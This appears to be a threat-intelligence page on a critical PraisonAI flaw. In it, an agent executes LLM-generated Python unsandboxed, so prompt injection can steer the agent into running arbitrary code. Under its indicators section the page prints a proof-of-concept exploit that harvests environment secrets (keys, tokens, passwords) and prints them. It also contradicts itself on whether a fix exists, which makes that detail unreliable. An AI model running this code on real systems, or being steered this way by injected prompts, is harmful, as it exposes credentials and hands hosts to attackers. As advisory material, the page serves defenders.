CVE-2026-61447: Improper Control of Generation of Code ('Code Injection') in MervinPraison PraisonAI
PraisonAI versions prior to 1.6.78 contain a critical remote code execution vulnerability due to improper control of code generation. The vulnerability arises from the CodeAgent._execute_python() function executing LLM-generated Python code without proper AST validation, import restrictions, or sandboxing. This allows attackers to use prompt injection to influence the LLM output, potentially exfiltrating environment secrets and executing arbitrary code on the host system.
AI Analysis
Technical Summary
CVE-2026-61447 is a critical remote code execution vulnerability in MervinPraison's PraisonAI product before version 1.6.78. The flaw exists in the CodeAgent._execute_python() method, which executes Python code generated by a large language model (LLM) without applying abstract syntax tree (AST) validation, import restrictions, or sandbox enforcement. This lack of controls enables attackers to craft prompt injections that manipulate the LLM output, leading to arbitrary code execution and exfiltration of environment secrets on the host system.
Potential Impact
Successful exploitation allows unauthenticated remote attackers to execute arbitrary Python code on the host system running PraisonAI, potentially leading to full system compromise and disclosure of sensitive environment secrets. The vulnerability has a CVSS 4.0 base score of 10.0, indicating maximum severity with network attack vector, no required privileges or user interaction, and high impact on confidentiality, integrity, and availability.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. No official fix or temporary mitigation has been publicly documented. Until a patch is available, users should avoid exposing vulnerable versions to untrusted inputs or networks and monitor vendor communications for updates.
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: PraisonAI CodeAgent 1.6.77 - Remote Code Execution # CVE: CVE-2026-61447 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://github.com/MervinPraison/PraisonAI # Software Link: https://pypi.org/project/praisonaiagents/ # Affected: praisonaiagents <= 1.6.77 # Tested on: praisonaiagents 1.6.77 # Category: Remote Code Execution # Platform: Linux / Windows / macOS # Exploit Type: Python Script # CVSS: 10.0 (Critical) # Description: The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection. # Fixed in: praisonaiagents >= 1.6.78 # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- # # Notes: # • Requires the vulnerable praisonaiagents package installed. # • Demonstrates direct RCE and secret leakage. # # How to Use # # Step 1: # pip install praisonaiagents==1.6.77 # # Step 2: # python3 exploit.py def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) banner() from praisonaiagents.agent.code_agent import CodeAgent import json agent = CodeAgent(name="poc-agent") malicious_code = """ import os import json secrets = {k: v for k, v in os.environ.items() if any(keyword in k.upper() for keyword in ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])} print("=== EXFILTRATED SECRETS ===") print(json.dumps(secrets, indent=2)) """ print("Executing malicious LLM-generated code...") result = agent.execute(malicious_code) print("\n=== Execution Result ===") print("STDOUT:", result.get('stdout', '')) print("STDERR:", result.get('stderr', '')) print("Return Code:", result.get('returncode', ''))
CVE-2026-61447: Improper Control of Generation of Code ('Code Injection') in MervinPraison PraisonAI
Description
PraisonAI versions prior to 1.6.78 contain a critical remote code execution vulnerability due to improper control of code generation. The vulnerability arises from the CodeAgent._execute_python() function executing LLM-generated Python code without proper AST validation, import restrictions, or sandboxing. This allows attackers to use prompt injection to influence the LLM output, potentially exfiltrating environment secrets and executing arbitrary code on the host system.
CVSS v4.0
Score 10.0critical
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-61447 is a critical remote code execution vulnerability in MervinPraison's PraisonAI product before version 1.6.78. The flaw exists in the CodeAgent._execute_python() method, which executes Python code generated by a large language model (LLM) without applying abstract syntax tree (AST) validation, import restrictions, or sandbox enforcement. This lack of controls enables attackers to craft prompt injections that manipulate the LLM output, leading to arbitrary code execution and exfiltration of environment secrets on the host system.
Potential Impact
Successful exploitation allows unauthenticated remote attackers to execute arbitrary Python code on the host system running PraisonAI, potentially leading to full system compromise and disclosure of sensitive environment secrets. The vulnerability has a CVSS 4.0 base score of 10.0, indicating maximum severity with network attack vector, no required privileges or user interaction, and high impact on confidentiality, integrity, and availability.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. No official fix or temporary mitigation has been publicly documented. Until a patch is available, users should avoid exposing vulnerable versions to untrusted inputs or networks and monitor vendor communications for updates.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- VulnCheck
- Date Reserved
- 2026-07-09T14:06:14.016Z
- Cvss Version
- 4.0
- State
- PUBLISHED
- Remediation Level
- null
Indicators of Compromise
Exploit Source Code
Exploit code for PraisonAI praisonaiagents 1.6.77 - Remote Code Execution
#!/usr/bin/env python3 # Exploit Title: PraisonAI CodeAgent 1.6.77 - Remote Code Execution # CVE: CVE-2026-61447 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://github.com/MervinPraison/PraisonAI # Software Link:... (2144 more characters)
Threat ID: 6a52461668715ace43df4aa5
Added to database: 07/11/2026, 13:33:10 UTC
Last enriched: 08/11/2026, 21:08:34 UTC
Last updated: 08/25/2026, 15:23:28 UTC
Views: 210
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.